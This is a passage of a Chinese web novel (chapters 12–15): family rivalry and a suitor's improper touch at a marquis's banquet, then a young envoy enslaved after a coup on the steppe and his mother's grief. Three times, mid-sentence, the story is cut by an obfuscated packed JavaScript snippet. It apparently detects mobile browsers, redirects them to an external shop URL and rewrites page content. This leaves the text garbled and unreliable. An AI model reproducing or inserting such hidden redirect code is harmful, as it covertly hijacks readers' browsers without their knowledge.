只是她也是个聪慧的姑娘，却不会在这个当头炫耀，便只笑笑，道：“人丁繁茂，这是家族兴盛之像呢。唉，我倒是希望自己能再多两个弟弟妹妹呢。便是要我住的地方再小些，我也愿意。” 杜云漾捂嘴笑道：“呸，待你真有了几个弟弟妹妹，你就知道吵了。” 顾婕在这种场合，素来是不怎么出风头的，只笑着看顾嫤跟几个闺秀聊天。 顾嫤看到顾姝的身影正朝这边走过来，眼珠一转，笑道：“要说地方宽敞，我大姐姐住的院子才叫好呢。就在这园子里头，不几步就能到。待会儿，咱们吵她去！” 说起住处，顾嫤是极不满的。 从前祖母在时，顾姝跟着祖母住也就罢了，如今祖母不在了，凭什么还让她一个人住那么大的院子？ 为这个事，顾嫤不止一次在庄夫人面前抱怨过。 庄夫人便嗔她：“你这孩子，搬出来叫她住哪里？你愿意叫她跟你一起住西厢房？” 顾嫤自然不愿意：“叫她搬去兰葶院住呗。” 庄夫人倒是想，可有前事在先，这些大事上，她却是不敢再招惹顾姝。只能敷衍顾嫤：“她马上要出嫁了，还能住几天？你这孩子，净惹闲事。” 这便是顾嫤讨厌顾姝的地方了。明明母亲也不喜顾姝，可是作为长辈，竟也奈何不得她。她一个丧母长女，外祖家都败落了，本该在继母手底下谨小慎微地过日子，可仗着有祖母撑腰，偏就整日里摆出一副嫡长女的架势，真是叫人讨厌。 既然她一个人住瑞萱堂，得了这样大的好处，便该叫大家都知道，母亲待这个长女是何等宽和慈爱。 杜云漾并另外几个姑娘自然是乐意的，见顾姝过来，也纷纷笑道：“这可正巧。正说着呢，正主儿就来了！” 顾姝挑眉笑问：“这是背后说我什么呢？” 顾嫤上前，亲热地挽住顾姝，笑道：“大姐姐，我们正说着，你住的院子宽敞，景致又好，想去你院子里耍耍呢！” 顾姝看了看顾嫤挽住自己的胳膊，微微一笑，反手挽住她。 顾嫤微微皱了皱眉，随即又舒了神色，露出笑脸。 顾姝笑着对几位闺秀道：“正是求之不得。索性开席还早，不如我带几位贵客，去我那屋子里看看？” 12. 第 12 章 顾姝既发出邀请，几位小姐便是一阵笑闹，簇拥着去了瑞萱堂。 同去的几位闺秀，有先前便去过顾姝房间的，也有头回来的。顾姝便边走边介绍，道自己住在东厢房；西厢先前空着，今日腾了出来，临时充作女客的休息之所。 众人瞧偌大一个院子，竟只住了她一人。且这院子本就建在花园深处，外头花木掩映，景色幽深。院子当中亦堆了假山，植了芭蕉。一旁还植了一簇开得金灿灿的菊花。 待众人进了东厢房，顾姝便引着众人先去自己日常起居的侧间参观：“我平日里多在这个屋里。倒也没有什么消遣，不过是看看书，做做针线罢了。” 众人看去，见这屋里靠墙摆了个软榻。软榻另一头放了个紫铜祥云雷纹香炉，正袅袅冒着轻烟。那香味清淡宜人，韵味绵长。窗下摆了个桌案，上面放着本《内训》。 墙角立着一个紫檀花架，上面摆着一盆菊花，花姿盛妍。有那爱养花木的，当即便认出了这花唤作“金丝玉缕”，在菊花中亦是名种。 靠墙一侧是个多宝架，上头摆着各色小玩意儿。 几位闺秀都是富贵乡中长大的，眼睛都尖利，见上面既有那镶珠嵌宝的珍玩，也有坊间几两银子一个的小玩意儿。整个侧间，既是雅致宜居，又很有富贵气象，不由都是暗暗点头。 若说房间布置，诸人家中也都不差。但这顾大小姐，自己一人住这么个大园子，却是实在叫人羡慕了。 果然不愧是侯府嫡长女，地位与旁人不同。 杜云漾羡慕不已，直扯着顾嫤的袖子道：“先前我只说你一个人住一个西厢房，已是极舒服了，不想你大姐姐住得更是宽绰。” 顾嫤也不禁有些酸溜溜，道：“毕竟是长姐嘛。我是妹妹，如何能跟她比？” 跟在顾嫤身后的一个少女便笑道：“说到底，也都是姑母宽和贤德，不然……” 顾姝转头看向说话之人，认得她是庄夫人娘家兄长的二女儿，名唤庄淑兰。 庄淑兰话虽未说完，只那未尽之意也极是明显：若非庄夫人贤良，顾姝一个继女，哪里就能过得这般惬意了？ 顾姝皱皱眉头，不欲理她。一旁的几位闺秀看摆件的看摆件，说笑的说笑，亦无人接她这话茬。 只这庄淑兰素来巴结顾嫤，早听过顾嫤的抱怨，心中颇为顾嫤鸣不平，见顾姝不言语，愈发气盛道：“虽则姑母为人大度慈爱，只是这院子，比姑母的居所还要大，大表姐一人独占，也未免过于逾矩了！” 顾姝看着这位庄二姑娘，浅浅一笑，缓缓道：“二表妹说得是，母亲确实慈爱。因我养在祖母身边，自小便住在这瑞萱堂，便是祖母故去了，亦不曾将我挪动出去。” 她转向众人，神情黯然：“我自幼在祖母膝下长大，如今她老人家故去，心中实是哀恸难当。此院旧屋中，供奉了祖母灵位。我住在这里，一则是缅怀祖母，再则，也能时时给灵位上香祝祷，慰藉她老人家在天之灵。” 这番话倒不是作伪。顾姝自来尊敬祖母，想到祖母故去，心中难过，眼中已是泛起泪意。 诸位闺秀尽皆动容，纷纷道：“顾姐姐至孝，顾老太太若在天有灵，必也感动顾姐姐的一番孝心。” 并无人理会立在一旁的庄淑兰。 只有顾嫤扫了她一眼，心中厌烦。这个蠢货，一点眼色都没有。 她引众人过来，本意是叫人知道自已母亲待顾姝如何慈爱如何娇宠。结果庄淑兰一个客人，竟在主人家的地盘上大加挑剔。 也不想想，庄家官卑职小，本就与这些豪门千金不是一路人，不过是借着自已跟母亲的面子，方勉强得众人礼待。 如今，她一个五品官员家的小姐，对着侯门千金横加指责。是仗的谁的势？母亲辛辛苦苦经营的好名声，便败在这蠢货口里。 顾嫤不得不撑出个笑脸，上前安慰顾姝：“大姐姐莫要难过。祖母故去，我们都心里难过。” 又转向众人，面带哀伤：“大姐姐跟祖母最亲。唉，姐姐事亲至孝，父亲和母亲也常夸她呢。” 顾姝不欲再拿祖母做话头，便笑着从多宝架上拿了几个小玩意儿给几位姑娘介绍，将这小小的风波揭了过去。 几位小姐叽叽喳喳，热热闹闹地在瑞萱堂玩了一会儿，便又回了花厅。见到家人长辈，便免不得提及方才的见闻。大庭广众之下，自然只有说好话的。几人皆是交口夸赞顾姝居所的宽敞气派。 众人皆知庄夫人乃是继母，自是有那凑趣的人赞道：“都说定远侯夫人贤良，如今可见真是一点不假。莫说姑娘，便是府中的少爷，怕也没有大姑娘这般金贵罢！” 庄夫人笑道：“唉，这是家里头一个孩子，我跟侯爷自然都疼她些。不过这孩子也懂事孝顺，从不叫我操心。” 便又有人笑道：“孩子懂事孝顺，也是家风好，言传身教所致。” 庄夫人连声谦辞。只是那满脸的自得与喜意，却是再挡不住。 便是新出炉的忠毅侯韩夫人，见庄夫人如此，也颇觉满意。 她今日赴宴，再见顾姝，粉腮杏面，气色红润，再无前次见面的病容，心中已是释然。想来上回见面，只是不凑巧罢了。如今又听众人交口称赞庄夫人贤良，更是放心。 时下京中权贵喜好玩乐，又爱排场。这般的大宴，通常是要开一天的。午宴过后，有要休息的，便由仆妇们引着去小憩。有那爱玩的，园中也有诸多玩乐之所，可自行去园中玩耍。 小姑娘们自然不会去午休，相拥着便去了园子里逛。走得累了，便去了湖边的亭中歇息。 湖中夏日留下的残荷早叫人剪除清理干净，只留岸边几株菖蒲，随风摇曳。湖水一派清澈干净。清风徐来，池水涟涟，上面还浮着几对鸳鸯水鸟。 众人纷纷赞这处风光秀致。 只顾嫤看着湖水那一圈又一圈的涟漪，看着顾姝，面露关切：“这会子风凉。大姐姐，你身子骨弱，前日病才好，莫要着凉了。” 说完，也不待顾姝说话，便吩咐身边的秋映：“秋映，去取件夹袄过来。” 顾姝闻言，不由讶然看向顾嫤。她生病都是多长时间的事情了，怎么现在顾嫤又提这个？ 不想顾嫤竟也笑咪咪看着她，眼含得意 顾姝了然。这是刻意要在众人面前暗示自已身体不好，显示她顾嫤体贴照顾姐妹啊。 顾姝其实不介意顾嫤母女在众人面前展示她们的贤良大度。毕竟，庄夫人也确实不曾苛待过自已。她想搏个好名声，不算过份。 可是，庄夫人与顾嫤的好名声，不能靠踩着她得来。 顾姝也不出言辩解，反而微微一笑：“正是呢，还是妹妹想得周到。秋映，你多拿几件夹衣过来。” 秋映领命而去，顾姝方起身，走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922729|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个姓石的姑娘跟前，亲热地拉起她的手，问她：“石妹妹可觉得风大？还是我三妹妹仔细，瞧我，竟是没有留意到。” 那石姑娘的手纤细冰凉，被顾姝握住，当下便觉得顾姝的手既温热又柔软，极是舒服。她惊讶道：“顾姐姐，你的手好热！” 顾姝自然知道。她也是看石姑娘身形纤瘦，面色苍白，似是有些气血不足的模样，才去拉她的手。 顾姝不在意笑道：“哦，是么，我倒是没有感觉。” 石姑娘当即便拉了旁边的杜云漾，叫她来摸顾姝的手：“你瞧，顾姐姐的手多热。哎，我就不行。一到秋冬，手脚便极凉，吃多少阿胶茯苓都没用。” 杜云漾一拉顾姝的手，也是讶然：“呀，顾姐姐的手果然好热。” 小姑娘们都爱凑热闹，又都闲着无事，便一个个来摸顾姝的手。有人笑嘻嘻赞顾姝的手生得好；又有人故意做怪，翻来覆去捏顾姝的手，气得顾姝作势要打她，引来旁边人一顿笑骂。 顾婕淡淡笑着，坐在旁边，并不掺合。只是不经意间扫了眼顾嫤。 顾嫤面上还带着笑，可顾婕跟她相处时久，如何看不出来，那笑容已极是勉强。 又是一阵秋风吹过，顾嫤看着顾姝跟小姑娘们笑闹，心中本就不快，被这凉风一激，登时打了个大喷嚏出来。 那喷嚏声音甚是响亮，登时将众人的注意力都引了过去。 顾姝当即走过去，关切问她：“三妹妹要不要紧？” 恰这时，秋映已是拿着几件薄夹衣过来。 顾姝不由分说，便给顾嫤披了一件：“水边风大，莫要着凉了。” 顾嫤便是有些小心机，可毕竟年岁不大，这会儿再难控制自已的神情，推开顾姝，板着脸硬声道：“我不冷，不需要。” 顾姝便给自已也披了一件：“真的是风大，你瞧，我都觉得凉了呢。” 语气轻柔和缓，一听便是那哄小孩子的语气。 再看那顾嫤，板着小脸，嘟着嘴巴，可不正是个跟姐姐闹脾气、不愿意加衣的小妹妹？ 杜云漾跟顾嫤关系好，也忍着笑劝她：“是呢，嫤妹妹，入秋天凉，还是得多小心。” 那石姑娘也是很干脆地拿了件夹衣自已穿上：“可不，我是不敢着凉的。唉，也就顾大姐姐这样，自已身体好，气血旺，便感知不到寒热。我跟嫤妹妹一样，天气有个变化，身上感觉便极是明显。” 这句话说得顾嫤更是心中郁卒。 她强挤出个笑：“既如此，那我便穿罢。” 顾姝不是那种追穷寇的人，将顾嫤顶了回去，便不理她，继续跟几位姑娘说笑聊天。 只顾嫤自已却是越看顾姝这气定神闲的模样越气。勉强坐了一会儿，便找了个更衣的借口，带着秋映自去园子里逛了。 顾嫤生着闷气走在花园里，秋映知道她生气，也不敢说话。只是见顾嫤只顾闷头前行，不由出声劝道：“姑娘，再往前面，便是男客区了……” 虽然花园是通着的，只是男客们都多在东边游玩，女客们便主要在园子西边处，两不相扰。 顾嫤瞪了秋映一眼，本欲待转身回去，只远远看到对面来人的身影，不由停住了脚步。 心思电转间，顾嫤已是继续往前行去。 待与对面那人走了个对面，顾嫤似是才恍然，微微屈身行礼：“高公子……” 13. 第 13 章 来人正是高晏。 他今日穿着一件亮蓝蜀锦团花束腰缀衣，头束玉冠，身量挺拔，肩宽腰窄，益发显得俊逸风流。 高晏含笑看着顾嫤：“顾三姑娘，可真是巧。” 顾嫤面色微红，垂首羞道：“高公子有礼。我，我正要回去。高公子还请自便。” 说罢，又微微屈身行了一礼，便转身往回走。 只她走得匆忙，袖中却是落下一方丝帕，飘飘悠悠落到了地上。 高晏捡起丝帕，却没急着叫人。而是将帕子放在了手中，轻轻捻了两下。又将帕子举起，放在鼻边轻嗅。 闻着那帕子上传来的幽幽香气，他微微一笑，才朝顾嫤身后行去，又提高音量叫道：“顾三姑娘！” 顾嫤停住脚步，回头看着高晏，面带疑惑。 高晏将帕子递给顾嫤：“这帕子，可是三姑娘的？” 顾嫤看到那帕子，面色一窘，忙道：“正是我的。多谢高公子。” 说罢便伸手去接那帕子。 高晏将帕子递过去，只二人手触之时，高晏那手指，有意无意由顾嫤手背拂过。 顾嫤一怔，抬头看了高晏一眼，又飞快地垂下头。 高晏便笑着问她：“府上这园子，实在是大。我有些找不着路，不知道三姑娘可否方便给我指下路？” 顾嫤正待回话，眼角瞥见自西边小径上又过来两个人影。她遂抿嘴笑道：“大姐姐在那边，高公子若要人指路，去找我大姐姐呀！” 说罢，又冲高晏嫣然一笑，转身飘然而去。 高晏看着顾嫤的背影，嘴角亦是渐渐泛起一丝微笑。 来人正是顾姝与烟云。顾姝是特意过来寻顾嫤的。 她知道顾嫤气性大，虽说方才两人怄气，但毕竟是姐妹，见顾嫤更衣久去不回，还是有些担心，故而特意来寻她。 见到顾嫤的人，她方松了口气，笑道：“三妹妹这么久不回，我正担心呢。” 此时没有外人，顾嫤也懒得装相，“哼”了一声道：“谁要你担心了！” 顾姝笑笑，道：“是，是。你莫生气了，快回去罢。” 顾嫤却又狡黠一笑，道：“大姐姐，我方才遇到了高公子，他正在那里等你呢。” 顾姝面露诧异：“什么？” 她有些疑心顾嫤是在诳自已，不由往顾嫤身后看了眼。却真看到高晏的身影。 顾姝怔住。 顾嫤一笑，绕过顾姝，领着秋映走了。 高晏恰这时也朝顾姝这里看来。两人既见面了，却不好失礼。顾姝便往前走了几步，朝高晏行了个礼：“高公子。” 高晏先解释：“我方才在这里遇到令妹，她说你过来了。我还不信，不想真看到你。” 他看着顾姝，嘴角含笑，目光情意绵绵，发出邀请：“左右这会无事，顾姑娘陪我走一走？” 顾姝下意识便想拒绝：“这，这似是不大合适……” 虽说两人已经定亲，可毕竟没有朝外面说，孤男寡女的，终归不好。 高晏声音温柔道：“你我本就……” 看到顾姝面色唰地变红，高晏住了嘴，笑着转身指了指前面小径：“顾姑娘陪我走到路口便可，如何？” 顾姝顺他手指看去，见此处离路口不过七八丈远，片刻便到，终是点点头。 两人并肩缓缓前行，高晏才道：“上回见了姑娘，我心便一直掂记着。这会赴宴，也在想，有没有机会能与姑娘见上一面。幸好老天垂怜，还真叫我见到了姑娘。” 这话太过直白，顾姝一时不知该说什么，索性低头不语。 高晏也不要她回答，慢悠悠继续前行。 顾姝心情既紧张又忐忑，一时没有留心，脚下踩了个小石子，便往一边歪去。 身后跟着的烟云便想过来扶。不想高晏动作更快，伸手便揽住了顾姝的腰身。 顾姝幸得他助力，才没跌倒。站稳身子后，正待感谢，却感觉高晏扶着她腰的手，缓缓顺着她的腰肢向上滑去。 顾姝登时身体一僵，浑身的鸡皮疙瘩都起来了。那只手却还在自已身上慢慢移动，便仿佛一条冰冷粘腻的蛇在自已身上蜿蜒爬行。 只不待顾姝出声喝斥，那手却已收了回去。 顾姝冷冷抬头，却只看见高晏俊美的脸，微带歉意：“实是不好意思，方才我怕姑娘跌倒，不得已出手相扶，实在不是有意唐突姑娘。” 他神情真挚，面带关切。 顾姝不自觉抿了下嘴唇。 方才那一瞬的触感实实在在。而眼前这人的歉意上瞧着也真真切切。 难道真是自已多想了？ 可是再回想方才他扶自已的情景，那股子粘腻恶心之感便又涌了上来。 顾姝定了定心神，勉强冲高宴笑笑：“高公子客气了。” 可是要感谢高晏的话，却实是说不出口。 她也想说服自已方才那是错觉。只是那仿佛被毒蛇缠行的感觉却一直挥之不去。 两人无言走到路口，高晏方行礼：“多谢顾姑娘送我到这里。” 他看着顾姝：“下次我家开宴，盼还能与姑娘再见。”那双狭长凤眸里，情意无限。 被他这般眼神看着，顾姝已再无半分羞涩甜蜜之感。她垂首行了个礼，低声告辞。 转身行了一段，顾姝犹觉得高晏的眼神粘在自已身上。 她沉默前行，园子里已不见几个游客，想来晚宴也要开始了。顾姝抿抿嘴唇，往花厅而去。 西花厅中，方才去歇息游园的客人们已陆续返回。庄夫人自然从丫头那里得知了先前在瑞萱堂，庄淑兰同顾姝的一番对话。 她心中恚怒。这个顾姝，时时刻刻不忘败坏自已的名声！她说那话，不就是暗指，她住瑞萱堂是自小顾老夫人安排的，跟自已这个继母没甚么关系么？住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922730|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了那么大一个院子，还捞了个孝顺的好名声，真真是面子里子都占全了。 那她这个继母又算什么？ 想自已中午还在众人面前那般得意，如今还不知道旁人背地里如何笑话她！ 庄夫人恨得牙痒。偏这会儿宾客众多，还不能露半点异色。 恰这时，柳夫人过来与她打招呼，笑道：“庄姐姐，今日见到你家大姐儿，气色真是红润，人也是愈发标致了。” 她自是也听说了瑞萱堂的事情。虽说有些多心的，难免将庄淑兰的品行与庄夫人联系起来，只是柳夫人与庄夫人相交多年，知道她待顾姝这个长女确实是实心实意，是以特意来与庄夫人做脸。 庄夫人果然受用，就势笑道：“这还得多谢你送的雪莲呢！” 韩夫人如今颇为关切顾姝的身体，听得这话，不自觉地便留意起庄夫人那边的对话。 旁边有人好奇问道：“什么雪莲？” 柳夫人含笑不语，庄夫人不露痕迹地瞥了韩夫人一眼，笑道：“是说我家那大姑娘。先前冬日里爱咳嗽。后来吃了柳妹妹送的雪莲，便就好多了。今年秋冬换季，竟也没怎么生病呢，如今气色也格外地好！” 韩夫人想起上回见到顾姝那面色蜡黄的模样。这还叫没有怎么生病？ 她的眉头不由便皱了起来。 她就高晏这一个儿子，又生得那般好，文武双全。便是京中贵介子弟，也没有几人如她的晏儿那般出彩的。如今家里又是伯爵，家世品貌，样样不缺，什么样的贵女娶不到。 只是当年高家那样落魄，顾家依旧应下婚约。既然顾家不曾背信弃义，如今高家一朝得势，又岂能因为顾家女身体不好而毁婚？ 可高宴是是高家嫡长子，若叫他娶个病秧子回来，韩夫人又实在心有不甘。 韩夫人不由面色怏怏。 庄夫人眼风扫过韩夫人，笑意更深，继续道：“要说药材，还得是北边儿出的质地好。我们家自已平日里也有雪莲，却是没有柳妹妹这般药效好。” 柳夫人笑着推辞道：“一点子东西，不值什么。以后朝廷跟北边开了互市，这些北货便更易得了。” 便有人插话道：“互市怕是不成了。昨天才听人说起，道是这次去北漠的使团，遇上北漠叛乱，死了好几个人呢！朝廷怕是要出兵问责的，互市是不用想了。” 一时间众人的心思都被这个消息惊住了，纷纷问那说话的妇人。 那妇人一时成为众人的焦点，也有些得意，道：“唉，这些朝中大事，咱们也不敢乱说。中间细情我也不知道，只听说那使团中，年纪最轻的，不过二十岁，原是忠臣之后。本想着他年轻，给他这个机会历练一番的。可怜见的，谁曾想，竟是一去回不来了！” “啧啧啧，可怜见的。这是哪家的啊？” “听说是姓贺，叫什么倒不知道。唉，出了这事，不知道家里头要哭成什么样呢。” 14. 第 14 章 暮云垂野，草海苍莽。 贺仲珩将脚下的一块半干的牛粪用两根树枝夹到草筐里，方直起身，长吁了一口气。 这会子监工的人不在，正可以趁此歇息一会儿。 十月份的京城，尚有半城绿色，可在大漠已是尽皆枯黄。天空亦是灰茫茫一片，与远处那终年白皑皑的山顶融为了一体。不知哪里是天，哪里是山。 一只苍鹰从头顶盘旋而过，发出一声高亢的唳鸣。在空旷的天空之下，那声音尤显苍凉悠长。 贺仲珩被这一声孤鸣叫得失了神，心中涌起一股愁绪。孤鹰还可返巢，而自已，又可何时方能归家？ 远远看到监工的头领往这里走来，贺仲珩裹紧身上的薄皮袄子，跟上另外两个奴隶的脚步，继续弯腰拾着地上的牛粪，扔进筐里，留着烧火用。 自被掳来当奴隶之后，贺仲珩一心想着逃回去，奈何头领对他们这批新抓来的奴隶看管甚严，根本找不到逃脱的机会。 贺仲珩原是大周官员。他父亲贺延知进士出身，外祖是贺延知的恩师。贺延知中举后，便娶了自己恩师的女儿，夫妻恩爱。几年前，贺延知在任上，冒雨去堤坝巡视，连续十日暴雨，堤坝安然无恙，只是贺延知却得了风寒不治身亡。 上司亦是清明之人，将贺延知在任上过世的折子呈上去，又细述了他为官清正爱民之处，朝廷亦是给予了嘉奖，追赠贺延知为正三品嘉议大夫，赏徐夫人正三品诰命，恩荫贺仲珩进士出身。待贺仲珩守孝三年之后，便去了礼部任职。 贺仲珩去礼部没多久，恰逢北漠那边新王登基，又上表请求开通互市。大周便派了使团前去庆贺，顺便商讨互市事宜。互市乃是大事，使团也不过是打个前站，探探口风罢了，是以连上护卫，也不过派了百十个人过去。北漠苦寒，并不是什么好差事，于是年富力强的新人贺仲珩也成了其中一员。 使团到王庭的第二日晚，北漠新王苏和便设宴款待使团一行人。 只是贺仲珩的外祖半年前刚刚过世。虽则他作为外孙，服小功即可。可贺仲珩自幼与外祖亲近，开蒙读书也多得外祖教导，情份与祖父无异，故而他早就决意为外祖守孝一年。 见席上多是牛羊肉，席下又有人欢歌起舞，贺仲珩颇不自在，举起酒杯，略沾沾唇做个样子，便找了个借口离席，自己离开了大帐。所幸他不过是个小人物，也无人在意。 贺仲珩素来喜清静，便寻了个无人处，独自漫步。 只是过了片刻，却听到远远处有马蹄声传来。这里是大漠，马匹随处可见，贺仲珩也不甚在意。 只是那马蹄声却越来越急促密集，显是有大队人马集合。 贺仲珩不由心中生疑，寻个小帐篷，躲在一旁，看向马蹄声处。 却见两队骑兵过来，为首的两人一年长，一个正当盛年。上午见新王苏和的时候见过这二人。一人是新王的长兄，先王的大王子斡赤斤，一人是老王的弟弟、新王的叔叔，帖木罕。两人交谈了几句，便就此分开。 因离得远，他却是听不到二人的谈话内容。再则，他不过是知道要出使北漠之时，才临时学了几句北漠话，便是听到了，也是听不懂。 两队人马分开之后，不过须须臾间，那大王子斡赤斤竟然引弓朝王座射去，却不知射中宴席中间哪个，一阵纷乱叫喊声之后，骑兵竟是冲到席间砍杀起来，场面登时混乱起来。 而王叔帖木罕却是领着人马不知哪里去了。 贺仲珩骇然变色。随即便远远见到一穿着使团服色的人被一刀砍翻在地。他不敢再迟疑，又寻了个更隐蔽的地方将自己藏起来。 随着双方人马进场，厮杀规模越来越大，已渐渐接近贺仲珩藏身之处。 贺仲珩一时不知如何是好，想要逃走，却又想知道事态如何发展。 正在犹豫间，一个鞑人朝他这方向狂奔而来，只离他还有几丈远时，被一支箭射中后心，登时断了气，尸体倒在一旁。 贺仲珩左右环视了一下，趁无人在意，将尸体拖了过来，掰断箭杆，剥去外袍。自已则是将官服官帽摘下，团团塞到一旁，将这鞑人的外袍套在自己身上，又将身体趴下，继续远远看使团方向的动静。 那边又似有一个官员倒在地上，贺仲珩更觉不妙。如今这架势，这帮人内斗起来，竟是全不顾忌大周官员了。正思忖要如何行动间，忽然只觉得头上被重重一击。贺仲珩来不及反应，整个人便晕死过去。 待他醒来之时，已是夜半。 觉察到口鼻中满是腥臭之气，贺仲珩不适地转动身子，这才发现自己双手被缚在身前。借着星光张望了四周，见自己跟另外一群人，被关在了羊圈里，旁边便是一大群羊，也难怪腥臭。自已身上的靴子、袜子和外袍全被扒了下来，竟是赤着脚。 贺仲珩便欲将身上绳子解开，却见这绳子竟然将自己跟别人缚在了一处。若自己解开绳子，势必要惊动身侧两人。且两只手被缚起来，也实在解不开这绳索。 贺仲瑞顼无奈放弃。又仔细看了周边，被缚的这些人，除了自己，都是北漠鞑人，却没有使团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922731|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官员。对此，贺仲珩实是不知该喜还是该忧。因着不好动弹，头上被击那一下还在隐隐作痛，不知何时，贺仲珩又昏昏沉沉睡去。 再次醒来，却是被鞭子抽醒的。 一群人连在一起，被一个拿着鞭子的人驱赶着，跟在一个骑马的头人后面。走了两日，才在一条河流附近驻扎下来。自此，贺仲珩便开始了他做奴隶的生活。每日便是放羊，喂牲畜，捡牛粪。 他倒是想跟鞑人说清楚，自已是大周官员，并非是汉人奴隶。只他语言不通，每每见了头领，指手划脚想要说话，换来的却是劈头盖脸的鞭子。试过几次，贺仲珩便放弃了这条路。鞑人野蛮不通教化，王庭之人还好，如这般小头目，只认奴隶，却不管你是什么身份的。 这里汉人奴隶也是常见的。因无论是商队里走散的汉人，还是边地落单的，被掳来做奴隶的汉人也不在少数。如此过了两个月，贺仲珩渐渐学会了鞑人语，才连蒙带猜地明白了自己的处境。 原来，这个部落原本就是新王苏和的部族。因大王子叛乱，苏和被杀，王叔帖木罕平定叛乱，射杀了斡赤斤，做了新王，后为了收拢人心，便补偿了苏和一族，赏了他们草场和大批奴隶。跟贺仲珩一起的奴隶，不少就是大王子斡赤斤的族人。 贺仲珩颇为疑惑。这与他当日看到的情形分明不符，以他所见，帖木罕与那斡赤斤，原本是相熟的才是。想来是帖木罕与斡赤斤勾结，利用斡赤斤杀了苏和，自已再借机除去斡赤斤，明正言顺上位。 若事实真如他推测这般，那帖木罕此人心机深沉，颇有城府。叫他做了这大漠新王，将来如何，实在难以预料。 只是他此时虽有此猜测，可语言毕竟有限，却也不能仔细询问，更不知道使团众人如何了。这个时候，贺仲珩反而不敢再跟这些鞑人透露自已的身份。若他们为免麻烦，想将自已灭口，也不是不可能。 只是，王庭混乱时，使团成员遇袭之事，怕是隐瞒不过去的。堂堂大周使节，竟然被鞑人偷袭遇害，这放在哪朝都不是能善罢干休的大事，朝廷必然要派人问责，甚至为此发兵都有可能。 只是不知道自己身在何处，朝廷又是会何时派人过来。 贺仲珩忧心不已。 然而最放心不下的，还是自己母亲。 这几年，先是父亲过世，后是外祖过世，母亲本已是心神交瘁。如今自己又流落大漠，母亲不知道要多么担心自己。 所幸母亲身子素来康健，只盼母亲平平安安，无病无灾，能等到自己回去的那日。 15. 第 15 章 “妹妹，把药喝了罢。现在朝廷那头还没有确切消息传来呢，你先这样熬坏了身子，待到仲珩回来了，可要怎么办才好？” 叶氏端起一碗汤药，柔声安慰自己小姑子。 贺仲珩的母亲，贺太太半靠在榻上，一张脸腊黄，没有一分生气。只是听大嫂提到儿子，眼泪还是忍不住扑簌簌往下掉。 叶氏看着心里难受，悄悄别过脸，另一只手拿了帕子擦了擦眼睛。 叶氏与贺太太姑嫂相处多年，极是相得。如今小姑子先后丧夫丧子，白发人送黑发人，怎么叫人受得了。 自已这小姑子，先后生养了两子一女，长子长女皆没有站住，只余这个小儿子，天资聪颖，年纪轻轻就中了举人，谁不赞一声年少有为？便是不曾得朝廷恩荫进士出身，自己考中进士也是早晚之事。谁料竟是天妒英才，命归他乡。 嘴上说贺仲珩还有可能回来，可是姑嫂二人皆知，这不过是安慰人的话罢了。 多说无益，叶氏转头又劝贺太太：“贺家族长那里叫人捎了信，说是明日要过来。妹妹也得打点起精神来，毕竟有客人来，咱们也不能失礼不是？” 贺太太眼睛里终于有了些神采：“嫂子说的是。仲珩虽说还没有消息，可我得把家撑起来，得好好儿等他回来！” “正是这个道理！” 第二日，待贺氏一族的族长夫妇上门时，贺太太终是勉强打起精神招呼客人。 族长贺延年与贺太太过世的丈夫贺延知正是同辈，年龄却要长个十几岁。他是嫡房长子，在族中排行是第三。 几人坐下寒暄了几句，贺延年便提出了来意：“如今珩哥儿为国尽忠了，贺家两代英烈，却不好叫他没了香火。我是想着，从族中给珩哥儿过继个孩子，也叫他这一支延续下去。” 贺太太自然也有替贺仲珩过继子嗣，延续香火的意思，但却不是现在：“仲珩他现在生死未知，一切还都未定，过继子嗣一事，倒不必着急。” 贺延年叹了口气：“弟妹说的是。我也只是提一嘴。万一，唉，万一仲珩侄子真有个三长两短，好歹要有个子嗣给他摔盆的啊！” 贺太太眼圈登时红了，只是还不肯松口：“生要见人，死要见尸。三哥的心意我领了，只是还是要等朝廷的说法下来再说罢！” 贺族长便道：“这个自然。只是我想，咱们还是提前预备着。便当是替侄子冲一冲，也是好的。” 见贺太太没有言语，他这才道：“不然，过两日，我先把孩子带过来给你瞧瞧？就当是自家亲戚，见个面再说。” 毕竟是贺氏一族的族长，贺太太也不好拂他面子，勉强应了下来。 过得两天，贺族长便又领着一行人来了贺家。 进了门，贺族长便向贺太太介绍：“四弟妹，这都是自家人。这个是我家老二，叫做庆全，这个是他媳妇，娘家姓陈。” 陈氏赶紧笑着向贺太太行了个礼。 贺太太见她那笑容满面的样子，心中便极不是滋味。 那陈氏怀里抱着个男娃，像是两三岁的样子，手里还牵着一个七八岁的男孩子。 